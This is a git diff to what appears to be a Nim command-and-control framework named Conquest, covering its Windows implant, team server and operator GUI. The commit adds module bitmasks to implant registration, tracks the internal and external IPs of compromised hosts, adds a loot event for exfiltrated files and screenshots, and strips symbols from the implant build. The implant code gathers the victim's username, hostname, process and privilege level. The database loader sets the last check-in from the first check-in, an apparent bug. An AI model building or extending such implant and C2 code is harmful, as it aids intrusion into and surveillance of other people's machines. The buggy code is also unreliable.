diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 025ec32..f5b2a19 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -3,6 +3,6 @@ -d:release --opt:size --passL:"-s" # Strip symbols, such as sensitive function names --d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" --d:MODULES="255" +-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:MODULES="66" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/agent/protocol/registration.nim b/src/agent/protocol/registration.nim index bb768b2..31aa984 100644 --- a/src/agent/protocol/registration.nim +++ b/src/agent/protocol/registration.nim @@ -1,6 +1,7 @@ import winim, os, net, strformat, strutils, registry, zippy import ../../common/[types, serialize, sequence, crypto, utils] +import ../../modules/manager # Hostname/Computername proc getHostname(): string = @@ -217,7 +218,8 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData = process: string.toBytes(getProcessExe()), pid: cast[uint32](getProcessId()), isElevated: cast[uint8](isElevated()), - sleep: cast[uint32](ctx.sleep) + sleep: cast[uint32](ctx.sleep), + modules: cast[uint32](MODULES) ) ) @@ -237,6 +239,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): .add(data.metadata.pid) .add(data.metadata.isElevated) .add(data.metadata.sleep) + .add(data.metadata.modules) let metadata = packer.pack() packer.reset() diff --git a/src/client/views/console.nim b/src/client/views/console.nim index 3fd8d4d..b0028d3 100644 --- a/src/client/views/console.nim +++ b/src/client/views/console.nim @@ -129,7 +129,7 @@ proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, time Handling console commands ]# proc displayHelp(component: ConsoleComponent) = - for module in getModules(): + for module in getModules(component.agent.modules): for cmd in module.commands: component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}") @@ -252,7 +252,7 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) = Session information ]# let domain = if component.agent.domain.isEmptyOrWhitespace(): "" else: fmt".{component.agent.domain}" - let sessionInfo = fmt"{component.agent.username}@{component.agent.hostname}{domain} | {component.agent.ip} | {$component.agent.pid}/{component.agent.process}".cstring + let sessionInfo = fmt"{component.agent.username}@{component.agent.hostname}{domain} | {component.agent.ipInternal} | {$component.agent.pid}/{component.agent.process}".cstring igTextColored(GRAY, sessionInfo) igSameLine(0.0f, 0.0f) diff --git a/src/client/views/modals/generatePayload.nim b/src/client/views/modals/generatePayload.nim index a7eaac2..c95e749 100644 --- a/src/client/views/modals/generatePayload.nim +++ b/src/client/views/modals/generatePayload.nim @@ -32,7 +32,7 @@ proc AgentModal*(): AgentModalComponent = for cmd in module.commands: result &= " - " & cmd.name & "\n" proc compareModules(x, y: Module): int = - return cmp(x.name, y.name) + return cmp(x.moduleType, y.moduleType) result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc) diff --git a/src/client/views/sessions.nim b/src/client/views/sessions.nim index 2390fbe..ad1a232 100644 --- a/src/client/views/sessions.nim +++ b/src/client/views/sessions.nim @@ -59,12 +59,13 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = ImGui_TableFlags_SizingStretchSame.int32 ) - let cols: int32 = 11 + let cols: int32 = 12 if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f): igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0) igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0) - igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupColumn("Internal", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupColumn("External", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0) igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0) @@ -99,21 +100,23 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = if igTableSetColumnIndex(1): igText(agent.listenerId) if igTableSetColumnIndex(2): - igText(agent.ip) + igText(agent.ipInternal) if igTableSetColumnIndex(3): - igText(agent.username) + igText(agent.ipExternal) if igTableSetColumnIndex(4): - igText(agent.hostname) + igText(agent.username) if igTableSetColumnIndex(5): - igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain) + igText(agent.hostname) if igTableSetColumnIndex(6): - igText(agent.os) + igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain) if igTableSetColumnIndex(7): - igText(agent.process) + igText(agent.os) if igTableSetColumnIndex(8): - igText($agent.pid) + igText(agent.process) if igTableSetColumnIndex(9): - let duration = now() - agent.firstCheckin.fromUnix().utc() + igText($agent.pid) + if igTableSetColumnIndex(10): + let duration = now() - agent.firstCheckin.fromUnix().local() let totalSeconds = duration.inSeconds let hours = totalSeconds div 3600 @@ -123,8 +126,8 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss") igText(fmt"{timeText} ago") - if igTableSetColumnIndex(10): - let duration = now() - component.agentActivity[agent.agentId].fromUnix().utc() + if igTableSetColumnIndex(11): + let duration = now() - component.agentActivity[agent.agentId].fromUnix().local() let totalSeconds = duration.inSeconds let hours = totalSeconds div 3600 diff --git a/src/common/types.nim b/src/common/types.nim index 8d85e8e..a5d78fa 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -1,5 +1,4 @@ import tables -import times import parsetoml, json import system import mummy @@ -179,6 +178,7 @@ type pid*: uint32 isElevated*: uint8 sleep*: uint32 + modules*: uint32 AgentRegistrationData* = object header*: Header @@ -193,15 +193,17 @@ type username*: string hostname*: string domain*: string - ip*: string + ipInternal*: string + ipExternal*: string os*: string process*: string pid*: int elevated*: bool sleep*: int tasks*: seq[Task] - firstCheckin*: DateTime - latestCheckin*: DateTime + modules*: uint32 + firstCheckin*: int64 + latestCheckin*: int64 sessionKey*: Key # Session entry for client UI @@ -211,12 +213,14 @@ type username*: string hostname*: string domain*: string - ip*: string + ipInternal*: string + ipExternal*: string os*: string process*: string pid*: int elevated*: bool sleep*: int + modules*: uint32 firstCheckin*: int64 latestCheckin*: int64 @@ -259,7 +263,8 @@ type CLIENT_AGENT_CHECKIN = 103'u8 # Update agent checkin CLIENT_AGENT_PAYLOAD = 104'u8 # Return agent payload binary CLIENT_CONSOLE_ITEM = 105'u8 # Add entry to a agent's console - CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog + CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog + CLIENT_LOOT = 107'u8 # Download file or screenshot to the operator desktop Event* = object eventType*: EventType diff --git a/src/modules/manager.nim b/src/modules/manager.nim index 7204a85..ed86ad5 100644 --- a/src/modules/manager.nim +++ b/src/modules/manager.nim @@ -1,7 +1,7 @@ import tables, strformat import ../common/types -const MODULES {.intdefine.} = 0 +const MODULES* {.intdefine.} = 0 type ModuleManager* = object @@ -75,5 +75,10 @@ proc getCommandByName*(cmdName: string): Command = proc getAvailableCommands*(): Table[string, Command] = return manager.commandsByName -proc getModules*(): seq[Module] = - return manager.modules \ No newline at end of file +proc getModules*(modules: uint32 = 0): seq[Module] = + if modules == 0: + return manager.modules + else: + for m in manager.modules: + if (modules and cast[uint32](m.moduleType)) == cast[uint32](m.moduleType): + result.add(m) diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index 42c7768..171bb70 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -1,4 +1,4 @@ -import terminal, strformat, strutils, sequtils, tables, times, system, std/[dirs, paths] +import terminal, strformat, strutils, sequtils, tables, system, std/[dirs, paths] import ../globals import ../db/database @@ -11,17 +11,17 @@ import ../../common/[types, utils, serialize] Agent API Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results ]# -proc register*(registrationData: seq[byte]): bool = +proc register*(registrationData: seq[byte], remoteAddress: string): bool = # The following line is required to be able to use the `cq` global variable for console output {.cast(gcsafe).}: try: - let agent: Agent = cq.deserializeNewAgent(registrationData) + let agent: Agent = cq.deserializeNewAgent(registrationData, remoteAddress) # Validate that listener exists if not cq.dbListenerExists(agent.listenerId.toUpperAscii): - raise newException(CatchableError, fmt"{agent.ip} attempted to register to non-existent listener: {agent.listenerId}." & "\n") + raise newException(CatchableError, fmt"{agent.ipInternal} attempted to register to non-existent listener: {agent.listenerId}." & "\n") # Store agent in database if not cq.dbStoreAgent(agent): @@ -67,7 +67,7 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n") # Update the last check-in date for the accessed agent - cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local() + cq.agents[agentId].latestCheckin = cast[int64](timestamp) cq.client.sendAgentCheckin(agentId) # Return tasks @@ -133,6 +133,7 @@ proc handleResult*(resultData: seq[byte]) = writeFile(downloadPath, fileBytes) cq.success(fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).", "\n") + cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).") of RESULT_NO_OUTPUT: cq.output() diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index 941317f..9a6fbbe 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -138,7 +138,7 @@ proc httpPost*(request: Request) = headers.add((header, value.getStringValue())) if cast[PacketType](header.packetType) == MSG_REGISTER: - if not register(string.toBytes(request.body)): + if not register(string.toBytes(request.body), request.remoteAddress): request.respond(400, body = "") return diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim index 7fa80ff..c334caf 100644 --- a/src/server/core/listener.nim +++ b/src/server/core/listener.nim @@ -39,7 +39,7 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco for httpMethod in postMethods: router.addRoute(httpMethod, endpoint.getStringValue(), routes.httpPost) - let server = newServer(router.toHandler()) + let server = newServer(router.toHandler(), maxBodyLen = 1024 * 1024 * 1024) # Store listener in database var listener = Listener( diff --git a/src/server/db/database.nim b/src/server/db/database.nim index 2084ae4..c72d69b 100644 --- a/src/server/db/database.nim +++ b/src/server/db/database.nim @@ -29,12 +29,14 @@ proc dbInit*(cq: Conquest) = username TEXT NOT NULL, hostname TEXT NOT NULL, domain TEXT NOT NULL, - ip TEXT NOT NULL, + ipInternal TEXT NOT NULL, + ipExternal TEXT NOT NULL, os TEXT NOT NULL, elevated BOOLEAN NOT NULL, - sleep INTEGER DEFAULT 10, - firstCheckin DATETIME NOT NULL, - latestCheckin DATETIME NOT NULL, + sleep INTEGER NOT NULL, + modules INTEGER NOT NULL, + firstCheckin INTEGER NOT NULL, + latestCheckin INTEGER NOT NULL, sessionKey BLOB NOT NULL ); diff --git a/src/server/db/dbAgent.nim b/src/server/db/dbAgent.nim index 1e178d9..dee6712 100644 --- a/src/server/db/dbAgent.nim +++ b/src/server/db/dbAgent.nim @@ -1,4 +1,4 @@ -import system, terminal, tiny_sqlite, times, sequtils +import system, terminal, tiny_sqlite, sequtils import ../core/logger import ../../common/types @@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool = let sessionKeyBlob = agent.sessionKey.toSeq() conquestDb.exec(""" - INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, firstCheckin, latestCheckin, sessionKey) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); - """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss"), sessionKeyBlob) + INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); + """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob) conquestDb.close() except: @@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKey FROM agents;"): - let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, bool, string, string, seq[byte])) + for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"): + let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte])) # Convert session key blob back to array var sessionKey: Key @@ -51,12 +51,14 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] = username: username, hostname: hostname, domain: domain, - ip: ip, + ipInternal: ipInternal, + ipExternal: ipExternal, os: os, elevated: elevated, - firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"), - latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"), + firstCheckin: cast[int64](firstCheckin), + latestCheckin: cast[int64](firstCheckin), process: process, + modules: cast[uint32](modules), sessionKey: sessionKey, tasks: @[] # Initialize empty tasks ) @@ -75,14 +77,15 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listener = ?;", listenerName): - let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, bool, string, string, seq[byte])) + for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listener = ?;", listenerName): + let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte])) # Convert session key blob back to array var sessionKey: Key if sessionKeyBlob.len == 32: copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32) else: + # Handle invalid session key - log error but continue cq.warning("Invalid session key length for agent: ", agentId) let a = Agent( @@ -93,18 +96,18 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] = username: username, hostname: hostname, domain: domain, - ip: ip, + ipInternal: ipInternal, + ipExternal: ipExternal, os: os, elevated: elevated, - firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"), - latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"), + firstCheckin: cast[int64](firstCheckin), + latestCheckin: cast[int64](firstCheckin), process: process, + modules: cast[uint32](modules), sessionKey: sessionKey, - tasks: @[] + tasks: @[] # Initialize empty tasks ) - agents.add(a) - conquestDb.close() except: cq.error(getCurrentExceptionMsg()) @@ -137,18 +140,6 @@ proc dbAgentExists*(cq: Conquest, agentName: string): bool = cq.error(getCurrentExceptionMsg()) return false -proc dbUpdateCheckin*(cq: Conquest, agentName: string, timestamp: string): bool = - try: - let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - - conquestDb.exec("UPDATE agents SET latestCheckin = ? WHERE name = ?", timestamp, agentName) - - conquestDb.close() - return true - except: - cq.error(getCurrentExceptionMsg()) - return false - proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) diff --git a/src/server/main.nim b/src/server/main.nim index cdea99c..f9cdb8e 100644 --- a/src/server/main.nim +++ b/src/server/main.nim @@ -136,8 +136,8 @@ proc startServer*(profilePath: string) = var router: Router router.get("/*", upgradeHandler) - # Increased websocket message length in order to support dotnet assembly execution - let server = newServer(router, websocketHandler, maxMessageLen = 1024 * 1024 * 1024) + # Increased websocket message length in order to support dotnet assembly execution (1GB) + let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024) server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0") # Conquest framework entry point diff --git a/src/server/protocol/packer.nim b/src/server/protocol/packer.nim index e3c117c..840ae9c 100644 --- a/src/server/protocol/packer.nim +++ b/src/server/protocol/packer.nim @@ -74,7 +74,7 @@ proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult = data: data ) -proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent = +proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string): Agent = var unpacker = Unpacker.init(Bytes.toString(data)) @@ -102,12 +102,13 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent = username = unpacker.getDataWithLengthPrefix() hostname = unpacker.getDataWithLengthPrefix() domain = unpacker.getDataWithLengthPrefix() - ip = unpacker.getDataWithLengthPrefix() + ipInternal = unpacker.getDataWithLengthPrefix() os = unpacker.getDataWithLengthPrefix() process = unpacker.getDataWithLengthPrefix() pid = unpacker.getUint32() isElevated = unpacker.getUint8() sleep = unpacker.getUint32() + modules = unpacker.getUint32() return Agent( agentId: Uuid.toString(header.agentId), @@ -115,15 +116,17 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent = username: username, hostname: hostname, domain: domain, - ip: ip, + ipInternal: ipInternal, + ipExternal: remoteAddress, os: os, process: process, pid: int(pid), elevated: isElevated != 0, sleep: int(sleep), + modules: modules, tasks: @[], - firstCheckin: now(), - latestCheckin: now(), + firstCheckin: now().toTime().toUnix(), + latestCheckin: now().toTime().toUnix(), sessionKey: sessionKey ) diff --git a/src/server/websocket.nim b/src/server/websocket.nim index 43a836a..1144a6f 100644 --- a/src/server/websocket.nim +++ b/src/server/websocket.nim @@ -9,14 +9,16 @@ proc `%`*(agent: Agent): JsonNode = result["username"] = %agent.username result["hostname"] = %agent.hostname result["domain"] = %agent.domain - result["ip"] = %agent.ip + result["ipInternal"] = %agent.ipInternal + result["ipExternal"] = %agent.ipExternal result["os"] = %agent.os result["process"] = %agent.process result["pid"] = %agent.pid result["elevated"] = %agent.elevated result["sleep"] = %agent.sleep - result["firstCheckin"] = %agent.firstCheckin.toTime().toUnix() - result["latestCheckin"] = %agent.latestCheckin.toTime().toUnix() + result["modules"] = %agent.modules + result["firstCheckin"] = %agent.firstCheckin + result["latestCheckin"] = %agent.latestCheckin proc `%`*(listener: Listener): JsonNode = result = newJObject()